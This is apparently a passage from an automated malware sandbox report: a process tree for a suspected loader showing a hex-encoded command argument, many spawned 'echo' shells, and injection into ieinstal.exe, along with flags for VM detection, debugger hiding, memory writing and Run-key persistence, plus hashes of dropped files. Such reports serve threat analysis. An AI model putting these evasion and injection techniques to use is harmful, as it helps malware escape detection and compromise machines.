'2B5A7D6E617C6E686A6366686A7C2146617960646A272B42767D607B676E62616E6C6A607A7C3C232B5C647A7D646A232B4D7D767C7B646E7C7C6A233F233F26' &($Udtrttede2317) $Oakmed1823"3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1896
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3576
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2260
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1700
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1452
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3964
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3172
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4140
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2168
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4284
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3364
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2540
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2008
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3992
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1936
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3816
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3664
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3648
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2304
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1852
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1112
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4780
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3396
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3920
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4676
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4972
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3312
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2816
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2720
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:776
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:528
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1164
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3084
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:408
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4612
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3716
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4544
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4964
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1668
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4244
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3192
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2208
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4260
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3036
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3764
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1884
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4312
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1100
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1324
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4660
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:532
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3956
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4560
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3908
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:752
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4356
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2496
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2356
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1128
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1824
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:5004
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2076
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:772
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2012
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:2880
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:4816
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:3020
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1456
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1896
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 16"4⤵PID:1956
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵PID:8
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵PID:32
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵
- Checks QEMU agent file
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4460
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
53KB
MD5d4d8cef58818612769a698c291ca3b37
SHA154e0a6e0c08723157829cea009ec4fe30bea5c50
SHA25698fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
SHA512f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
255KB
MD565084d76721f704ea9689eab3eecad57
SHA176af7b60f0ee3a5b7fe80c75119759aebead331b
SHA256e3ef79845b042c2171bff181349b409f5b0a48b6daf0047270986c1dff27d787
SHA5128f021ad1c4de10dfdb12c02cd5f173f203054e2ba983c635ca35af397d1e47c4121072958d59c0e149f0e57857d8d6fb890b5f1b6d46eb20ece78783e5ba8fc9